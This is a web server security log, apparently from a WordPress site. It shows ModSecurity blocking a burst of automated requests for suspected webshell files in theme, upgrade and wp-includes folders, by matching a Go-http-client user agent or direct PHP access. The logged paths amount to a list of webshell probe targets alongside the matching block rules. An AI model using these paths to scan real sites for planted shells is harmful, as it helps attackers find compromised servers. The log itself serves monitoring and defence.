[Thu Nov 20 21:43:54.333938 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.226:39419] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/edit.php"] [unique_id "aR8bGvPZXaIMEU4pE7shhQAAAMM"]
[Thu Nov 20 21:43:54.981238 2025] [:error] [pid 40445:tid 40490] [client 185.223.152.212:37377] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/flatsome-child/images/about.php"] [unique_id "aR8bGlH-MuFcoWRjXpaZSwAAAk8"]
[Thu Nov 20 21:43:55.631311 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.5:27823] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/flatsome/inc/builder/shortcodes/commons/lock.php"] [unique_id "aR8bG_PZXaIMEU4pE7shhgAAAMI"]
[Thu Nov 20 21:43:56.282186 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.216:34507] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/flex-multi-business/inc/zBaLeMDx.php"] [unique_id "aR8bHPPZXaIMEU4pE7shhwAAAM8"]
[Thu Nov 20 21:43:56.928968 2025] [:error] [pid 40636:tid 40661] [client 185.223.152.5:33687] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/intime/assets/index.php"] [unique_id "aR8bHAK8BWUoW3xq0HAtRAAAA5U"]
[Thu Nov 20 21:43:57.575067 2025] [:error] [pid 40415:tid 40429] [client 185.223.152.8:26691] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/libero/autoload_classmap.php"] [unique_id "aR8bHahjIyLSv09svwPRPgAAAcs"]
[Thu Nov 20 21:43:58.388160 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.211:41227] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/maxwin88/inc/metabox/extend-metabox/lock.php"] [unique_id "aR8bHrg6x32Tvk7fIG8D0AAAAE8"]
[Thu Nov 20 21:43:59.034220 2025] [:error] [pid 40508:tid 40533] [client 185.223.152.213:32259] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/popularfx/template-parts/index.php"] [unique_id "aR8bH6xXNVCMW_ksxPvg3wAAApc"]
[Thu Nov 20 21:43:59.681539 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.226:26529] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/rockwell/content-index.php"] [unique_id "aR8bH6xXNVCMW_ksxPvg4AAAAo0"]
[Thu Nov 20 21:44:00.405484 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.220:41023] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/rubens-child/content-index.php"] [unique_id "aR8bIPPZXaIMEU4pE7shiwAAAMA"]
[Thu Nov 20 21:44:01.236691 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.213:32409] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/ryan/admin/main/inc/callbacks/sanitize_callback/select_faicons/lock.php"] [unique_id "aR8bIbg6x32Tvk7fIG8D0gAAAEk"]
[Thu Nov 20 21:44:01.892366 2025] [:error] [pid 40445:tid 40492] [client 185.223.152.219:34891] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php"] [unique_id "aR8bIVH-MuFcoWRjXpaZWAAAAlE"]
[Thu Nov 20 21:44:02.541165 2025] [:error] [pid 40415:tid 40435] [client 185.223.152.227:56835] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/new.php"] [unique_id "aR8bIqhjIyLSv09svwPRQwAAAdE"]
[Thu Nov 20 21:44:03.188090 2025] [:error] [pid 40636:tid 40644] [client 185.223.152.204:52887] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/css/a.php"] [unique_id "aR8bIwK8BWUoW3xq0HAtSAAAA4Q"]
[Thu Nov 20 21:44:03.836076 2025] [:error] [pid 55340:tid 55350] [client 185.223.152.205:22905] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/poisontalk.php"] [unique_id "aR8bI_OxD-NeMydTybC_igAAAAU"]
[Thu Nov 20 21:44:04.482001 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.208:60045] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentythree/assets/about.php"] [unique_id "aR8bJFH-MuFcoWRjXpaZWQAAAk4"]
[Thu Nov 20 21:44:05.137182 2025] [:error] [pid 40445:tid 40495] [client 185.223.152.209:37671] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentythree/index.php"] [unique_id "aR8bJVH-MuFcoWRjXpaZWgAAAlQ"]
[Thu Nov 20 21:44:05.785088 2025] [:error] [pid 40508:tid 40511] [client 185.223.152.209:27489] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/index.php"] [unique_id "aR8bJaxXNVCMW_ksxPvg5gAAAoE"]
[Thu Nov 20 21:44:06.434034 2025] [:error] [pid 55343:tid 55402] [client 185.223.152.208:65455] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/acxx.php"] [unique_id "aR8bJlWlO3EnyVMV7w7SkwAAAIM"]
[Thu Nov 20 21:44:07.083488 2025] [:error] [pid 40415:tid 40434] [client 185.223.152.222:65017] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/mlex.php"] [unique_id "aR8bJ6hjIyLSv09svwPRRQAAAdA"]
[Thu Nov 20 21:44:07.739326 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.222:61125] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/plex1.php"] [unique_id "aR8bJ_PZXaIMEU4pE7shjwAAAMI"]
[Thu Nov 20 21:44:08.385007 2025] [:error] [pid 40537:tid 40546] [client 185.223.152.216:23321] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-contentar458/themes/ingenioso/front-page/index.php"] [unique_id "aR8bKKKlsL5kxTa3c1wBGgAAAsU"]
[Thu Nov 20 21:44:09.030683 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.211:46637] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-cron-backup.php"] [unique_id "aR8bKTFpvu8oRK7ATftBegAAAQI"]
[Thu Nov 20 21:44:09.677340 2025] [:error] [pid 40508:tid 40522] [client 185.223.152.216:40211] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-erros.php"] [unique_id "aR8bKaxXNVCMW_ksxPvg7gAAAow"]
[Thu Nov 20 21:44:10.322829 2025] [:error] [pid 55342:tid 55380] [client 185.223.152.7:53327] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aR8bKrg6x32Tvk7fIG8D1wAAAEg"]
[Thu Nov 20 21:44:10.969908 2025] [:error] [pid 40445:tid 40497] [client 185.223.152.6:48313] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aR8bKlH-MuFcoWRjXpaZYAAAAlY"]
[Thu Nov 20 21:44:11.616801 2025] [:error] [pid 34405:tid 34424] [client 185.223.152.208:30119] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/about.php"] [unique_id "aR8bKzFpvu8oRK7ATftBhwAAARE"]
[Thu Nov 20 21:44:12.265780 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.204:20047] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/lock.php"] [unique_id "aR8bLLg6x32Tvk7fIG8D2QAAAE8"]
[Thu Nov 20 21:44:12.922122 2025] [:error] [pid 55340:tid 55357] [client 185.223.152.217:59717] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/library/SimplePie/Net/index.php"] [unique_id "aR8bLPOxD-NeMydTybC_jAAAAAw"]
[Thu Nov 20 21:44:13.566578 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.5:55083] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aR8bLVH-MuFcoWRjXpaZZQAAAkM"]
[Thu Nov 20 21:44:14.211967 2025] [:error] [pid 40445:tid 40489] [client 185.223.152.219:61515] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aR8bLlH-MuFcoWRjXpaZaAAAAk4"]
[Thu Nov 20 21:44:14.860612 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.204:53017] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aR8bLvPZXaIMEU4pE7shkwAAANA"]
[Thu Nov 20 21:44:15.508301 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.8:29555] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/connects.php"] [unique_id "aR8bLzFpvu8oRK7ATftBlwAAAQo"]
[Thu Nov 20 21:44:16.160184 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.205:47353] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/v.php"] [unique_id "aR8bMDFpvu8oRK7ATftBmgAAAQM"]
[Thu Nov 20 21:44:16.806560 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.224:56153] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/chosen.php"] [unique_id "aR8bMPPZXaIMEU4pE7shlQAAANQ"]
[Thu Nov 20 21:44:17.454288 2025] [:error] [pid 40537:tid 40551] [client 185.223.152.208:35151] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aR8bMaKlsL5kxTa3c1wBQQAAAso"]
[Thu Nov 20 21:44:18.101861 2025] [:error] [pid 40537:tid 40555] [client 185.223.152.226:47283] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/column/index.php"] [unique_id "aR8bMqKlsL5kxTa3c1wBRQAAAs4"]
[Thu Nov 20 21:44:18.751401 2025] [:error] [pid 40636:tid 40653] [client 185.223.152.225:24787] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comment-content/about.php"] [unique_id "aR8bMgK8BWUoW3xq0HAtdQAAA40"]
[Thu Nov 20 21:44:19.401808 2025] [:error] [pid 40445:tid 40486] [client 185.223.152.219:63899] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/wp-wlx.php"] [unique_id "aR8bM1H-MuFcoWRjXpaZbwAAAks"]
[Thu Nov 20 21:44:20.048419 2025] [:error] [pid 40445:tid 40478] [client 185.223.152.204:24157] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/file/index.php"] [unique_id "aR8bNFH-MuFcoWRjXpaZcQAAAkM"]
[Thu Nov 20 21:44:20.698871 2025] [:error] [pid 55340:tid 55364] [client 185.223.152.216:35465] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/index.php"] [unique_id "aR8bNPOxD-NeMydTybC_kAAAABM"]
[Thu Nov 20 21:44:21.374219 2025] [:error] [pid 40445:tid 40498] [client 185.223.152.215:22117] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aR8bNVH-MuFcoWRjXpaZcwAAAlc"]
[Thu Nov 20 21:44:22.022822 2025] [:error] [pid 40636:tid 40656] [client 185.223.152.6:58347] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/media-text-double.php"] [unique_id "aR8bNgK8BWUoW3xq0HAteQAAA5A"]
[Thu Nov 20 21:44:22.671887 2025] [:error] [pid 40415:tid 40426] [client 185.223.152.224:62341] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/media-text/about.php"] [unique_id "aR8bNqhjIyLSv09svwPRUgAAAcg"]
[Thu Nov 20 21:44:27.076814 2025] [:error] [pid 40537:tid 40560] [client 185.223.152.8:31983] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/missing/index.php"] [unique_id "aR8bO6KlsL5kxTa3c1wBSQAAAtM"]
[Thu Nov 20 21:44:27.726643 2025] [:error] [pid 40636:tid 40664] [client 185.223.152.215:48113] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/page-list-item/"] [unique_id "aR8bOwK8BWUoW3xq0HAtewAAA5g"]
[Thu Nov 20 21:44:28.374125 2025] [:error] [pid 40537:tid 40565] [client 185.223.152.208:59989] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/index.php"] [unique_id "aR8bPKKlsL5kxTa3c1wBSgAAAtg"]
[Thu Nov 20 21:44:29.027266 2025] [:error] [pid 40415:tid 40419] [client 185.223.152.7:31817] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-excerpt/index.php"] [unique_id "aR8bPahjIyLSv09svwPRXAAAAcE"]
[Thu Nov 20 21:44:29.675166 2025] [:error] [pid 40445:tid 40487] [client 185.223.152.217:55089] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-navigation-link/admin.php"] [unique_id "aR8bPVH-MuFcoWRjXpaZfgAAAkw"]
[Thu Nov 20 21:44:30.323635 2025] [:error] [pid 40445:tid 40480] [client 185.223.152.215:59815] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aR8bPlH-MuFcoWRjXpaZgAAAAkU"]
[Thu Nov 20 21:44:31.069409 2025] [:error] [pid 40508:tid 40511] [client 185.223.152.213:31711] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aR8bP6xXNVCMW_ksxPvhQwAAAoE"]
